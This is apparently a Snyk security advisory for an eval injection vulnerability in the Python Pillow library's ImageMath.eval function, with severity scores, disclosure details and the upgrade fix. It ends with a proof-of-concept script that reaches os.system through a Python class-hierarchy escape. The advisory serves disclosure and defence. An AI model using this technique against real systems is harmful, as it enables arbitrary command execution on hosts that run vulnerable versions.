Eval Injection Affecting pillow package, versions [,10.2.0)


0.0
high

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.07% (32nd percentile)
Expand this section
NVD
8.1 high
Expand this section
Red Hat
8.1 high
Expand this section
SUSE
8.4 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-PILLOW-6182918
  • published 21 Jan 2024
  • disclosed 19 Jan 2024
  • credit Checkmarx’s Research Group

How to fix?

Upgrade pillow to version 10.2.0 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)